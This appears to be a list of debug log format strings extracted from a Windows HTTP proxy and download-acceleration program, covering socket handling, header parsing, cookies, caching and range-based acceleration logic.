[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

